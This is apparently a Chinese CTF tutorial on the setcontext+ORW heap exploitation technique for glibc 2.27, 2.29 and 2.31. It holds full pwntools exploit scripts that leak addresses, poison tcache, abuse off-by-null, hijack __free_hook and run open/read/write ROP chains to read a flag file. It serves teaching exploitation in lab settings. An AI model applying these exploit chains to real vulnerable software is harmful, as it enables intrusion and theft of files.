setcontext+orw

setcontext+orw 大致可以把2.27，2.29做为两个分界点。

我们先来讨论 2.27 及以下的 setcontext + orw 的写法。

首先 setcontext 是什么？了解过 SROP 的师傅应该知道 pwntools 自带了一款可以控制寄存器值的工具。模板如下：

frame = SigreturnFrame()
frame.rsp = xxx
frame.rdi = xxx
frame.rsi = xxx
frame.rdx = xxx
frame.rip = xxx

它实质上就是依靠 setcontext 来实现的，我们从 IDA 里看看它究竟啥样。

我们可以很清楚地看出它的作用是通过 rdi 寄存器里的地址附近的地址里的值来给设置各个寄存器的值。glibc2.27 我们通常从 setcontext + 53 开始使用，也就是 mov   rsp, [rdi+0A0h] 那一行，在阅读其他师傅的文章后知道是因为上面的 fldenv  byte pte [rcx] 会造成程序执行时直接 crash。从 setcontext + 53 开始我们可以看到我们会给各个寄存器赋值。值得注意的是，mov     rcx, [rdi+0A8h]  和 push  rcx 实质上是在给我们的 rip 进行赋值。而众多寄存器唯一不可控制的是 rax寄存器，因为不仅没给 rax 赋值还在最后有一个 xor  eax,eax 。但这也意味着我们一定可以把 rax 设置成 0 。大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 __free_hook 或者 __malloc_hook 中，然后建立或者释放一个堆块，此时的 rdi 就会是该堆块的 chunk 头，那如果我们提前布局好堆，就意味着我们可以控制寄存器并劫持程序的执行流。

大体上思路差不多是两种（此处仅讨论 orw），第一种是直接控制程序执行流去执行ROP链，另一种是先用 mprotect 函数开辟一段可读可写可执行的空间再跳到上面去执行 shellcode。个人是比较喜欢直接执行 ROP 链的方法。

拿一个国赛的题 silverwolf 来加深 2.27 setcontext+orw

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./silverwolf')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')

def add(size):
    s.sendlineafter(b'Your choice: ', b'1')
    s.sendlineafter(b'Index: ', b'0')
    s.sendlineafter(b'Size: ', str(size))

def edit(content):
    s.sendlineafter(b'Your choice: ', b'2')
    s.sendlineafter(b'Index: ', b'0')
    s.sendlineafter(b'Content: ', content)

def show():
    s.sendlineafter(b'Your choice: ', b'3')
    s.sendlineafter(b'Index: ', b'0')

def delete():
    s.sendlineafter(b'Your choice: ', b'4')
    s.sendlineafter(b'Index: ',b'0')

for i in range(7):
    add(0x78)
delete()
edit(b'a'*0x10)
delete()

show()
s.recvuntil(b'Content: ')
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success('heap_base=>' + hex(heap_base))

add(0x78)
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23 + b'\x07')
delete()

show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

pop_rdi_ret = libc_base + 0x00000000000215bf
pop_rsi_r15_ret = libc_base + 0x00000000000215bd
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043ae8
syscall_ret = libc_base + libc.sym['read'] + 0xf
ret = libc_base + 0x00000000000008aa

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
write_addr = libc_base + libc.sym['write']

flag_addr = heap_base + 0x1000
stack_addr_1 = heap_base + 0x2000
stack_addr_2 = heap_base + 0x20a0
orw_addr_1 = heap_base + 0x3000
orw_addr_2 = heap_base + 0x3060

orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0) 
orw+= p64(pop_rax_ret) + p64(2) 
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0)
orw+= p64(pop_rdx_ret) + p64(0x100)
orw+= p64(write_addr) #0xd0

payload = b'\x02'*0x40
payload+= p64(__free_hook)   #0x20
payload+= p64(flag_addr)     #0x30
payload+= p64(0)             #0x40
payload+= p64(stack_addr_1)  #0x50
payload+= p64(stack_addr_2)  #0x60
payload+= p64(orw_addr_1)    #0x70
payload+= p64(orw_addr_2)    #0x80

edit(payload)

add(0x10)
edit(p64(setcontext_53))

add(0x20)
edit(b'./flag')

add(0x50)
edit(p64(orw_addr_1) + p64(ret))

add(0x60)
edit(orw[:0x60])

add(0x70)
edit(orw[0x60:])

add(0x40)
delete()

#gdb.attach(s)
s.interactive()

 

接下来我们来看 2.29 的 setcontext + orw ，2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx，这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以我们要用到一些 gadget 来把 rdi 和 rdx 转换一下。

 在2.29里我认为这两个 gadget 比较好用，我先选择了下一个，如果我们把 __free_hook 改成了这个 magic_gadget，再去 free 一个我们布局好的堆块。这个堆块把 rdi+8 地址里的值改为我们布好偏移的堆块的地址，再把 rdi 的值改为 setcontext+53 的值。 free 这个堆块其实就是在把 rdi 设置好的情况下，去执行了 setcontext 来控制寄存器。

 

拿 2019-BALSN-CTF-plaintext 来加深 2.29 的setcontext + orw

有一个 2.29 的 off by null，在off by null 那一篇文章提到过。且这里为了好调试，我关闭了本地aslr。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./plaintext')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')

def add(size,content):
    s.sendlineafter(b'Choice: ' , b'1')
    s.sendlineafter(b'Size: ' , str(size))
    s.sendafter(b'Content: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: ' , b'2')
    s.sendlineafter(b'Idx: ' , str(index))

def show(index):
    s.sendlineafter(b'Choice: ' , b'3')
    s.sendlineafter(b'Idx: ' , str(index))

def clean():
    for i in range(2):
        add(0xe0 , b'a') # 0-1
    for i in range(5):
        add(0xc0 , b'a') # 2-6
    for i in range(9):
        add(0x70 , b'a') # 7-15
    for i in range(16):
        add(0x60 , b'a') # 16-31
    for i in range(16):
        add(0x10 , b'a') # 32-47
    for i in range(8):
        add(0x1000 , b'a') # 48-55
    add(0xb70 ,b'a') # 56

clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00

for i in range(7):
    add(0x28 , b't') # 57-63

add(0xb20 ,b'large') # 64
add(0x10 ,b'a') # 65
delete(64)
add(0x1000 ,b'a') # 64 make old chunk_64 to large bin

add(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66

# make fake_chunk's fd->bk = fake_chunk

add(0x28 ,b'a') # 67
add(0x28 ,b'a') # 68
add(0x28 ,b'a') # 69
add(0x28 ,b'a') # 70

for i in range(7):
    delete(i+57) # full tcache

delete(69)
delete(67)

for i in range(7):
    add(0x28 , b't') # 57-63

add(0x400 ,b'a') # 47 touch off malloc_consolidate()

add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk

# make fake_chunk's bk->fd = fake_chunk

add(0x28 ,b'clean') # 71 clean tcache

for i in range(7):
    delete(i+57) # full tcache

delete(68)
delete(66)

for i in range(7):
    add(0x28 , b't') # 57-63

add(0x28 ,p8(0x20)) # 66

# off by null

add(0x28 ,b'clean') # 68

add(0x28 ,b'a')  # 72
add(0x5f8 ,b'a') # 73
add(0x100 ,b'a') # 74

delete(72)
add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72
delete(73)

# leak libc and heap addr

add(0x40 ,b'a') # 73

show(68)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

add(0x28 ,b'a') # 75 = 68

delete(57)
delete(68)

show(75)
heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10
success('heap_base_addr=>' + hex(heap_base_addr))

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
magic_gadget = libc_base + 0x000000000012be97

'''
mov rdx, qword ptr [rdi + 8];
mov rax, qword ptr [rdi];
mov rdi, rdx;
jmp rax;
'''

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
ret_addr = libc_base + 0x000000000002535f
syscall_ret = libc_base + libc.sym['read'] + 0xf


# setcontext
add(0x28 ,b'a') # 57 = 75
add(0x28 ,b'a') # 68

delete(70)
add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70
add(0x28 ,b'a') # 76
add(0x28 ,p64(magic_gadget)) # 77

flag_addr = heap_base_addr + 0x60 + 0x10
fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0
orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50 
bss_addr = libc_base + libc.bss()

add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78

add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79


orw = p64(pop_rdi_ret) + p64(flag_addr)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_ret) + p64(0xe)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100 ,orw) # 80

#gdb.attach(s)
delete(78)

s.interactive()

 

接下来就是 2.31 的 setcontext+orw

和之前版本的区别是setcontext 的位置变成了 setcontext+61

 

 而且之前 2.29 发现的gadget只剩下一个了

 

我们把那个 plaintext 重新用2.31编译了一下，且没开沙盒这样就可以省去填充沙盒开辟出来的堆块的步骤了。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./note1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    s.recvuntil(b'Choice: ')
    s.sendline(b'1')
    s.recvuntil(b'size: ')
    s.sendline(str(size))
    s.recvuntil(b'content: ')
    s.send(content)

def delete(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'2')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))

def show(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'3')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))    

for i in range(6):
    add(0x1000 ,b'a') # 0-5

add(0x1000 - 0x410 ,b'a') # 6

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0xb20 ,b'large') # 14 chunk head address is 0x......0040
add(0x10 ,b'a') # 15

delete(14)
add(0x1000 ,b'a') # 14

add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16

# make fake_chunk's fd->bk = fake_chunk

add(0x28 ,b'a') # 17
add(0x28 ,b'a') # 18
add(0x28 ,b'a') # 19
add(0x28 ,b'a') # 20


for i in range(7):
    delete(i+7)

delete(19)
delete(17)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x400 ,b'a') # 17
add(0x28 ,p64(0) + p8(0x50)) # 19

# make fake_chunk's bk->fd = fake_chunk

add(0x28 ,b'a') # 21 clean tcache

for i in range(7):
    delete(i+7)

delete(18)
delete(16)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x28 ,p8(0x50)) # 16

# off by null

add(0x28 ,b'a') # 18 clean fastbin

add(0x28 ,b'a') # 22
add(0x5f8 ,b'a') # 23
add(0x100 ,b'a') # 24
 
delete(22)
add(0x28 ,b'a'*0x20 + p64(0x520)) # 22
delete(23)

# leak libc and heap

add(0x18 ,b'a') # 23

show(19)

libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base=>' + hex(libc_base))

add(0x28 ,b'a') # 25
add(0x28 ,b'a') # 26=18

delete(20)
delete(18)
show(26)

heap = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap))

add(0x28 ,b'a') # 18=26
add(0x28 ,b'a') # 20

__free_hook = libc_base + libc.sym['__free_hook']
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x0000000000154930
bss_addr = libc_base + libc.bss()

pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c371
syscall_ret = libc_base + libc.sym['read'] + 0x10
ret_addr = libc_base + 0x0000000000025679

stack_addr = heap + 0x40
orw_addr = heap + 0x100

'''
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
'''

# attack

delete(18)
delete(20)
add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18
add(0x20 ,b'a') # 20
add(0x20 ,p64(magic_gadget)) # 27

add(0x10 , p64(0) + p64(stack_addr)) # 28
success(hex(stack_addr))

stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61)
stack+= b'\x00'*(0xa0-0x28)
stack+= p64(orw_addr) + p64(ret_addr)

add(0xb0 ,stack) # 29

orw = p64(pop_rdi_ret) + p64(stack_addr)
orw+= p64(pop_rax_ret) + p64(2)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(0)
orw+= p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(bss_addr)
orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
orw+= p64(pop_rax_ret) + p64(1)
orw+= p64(syscall_ret)

add(0x100 ,orw) # 30
#gdb.attach(s)
delete(28)


s.interactive()

 

附件

提取码：efi9

 

参考链接

https://blog.csdn.net/yongbaoii/article/details/119544590

https://blog.csdn.net/carol2358/article/details/107115485

https://blog.csdn.net/A951860555/article/details/118268484

https://blog.csdn.net/weixin_43960998/article/details/115838190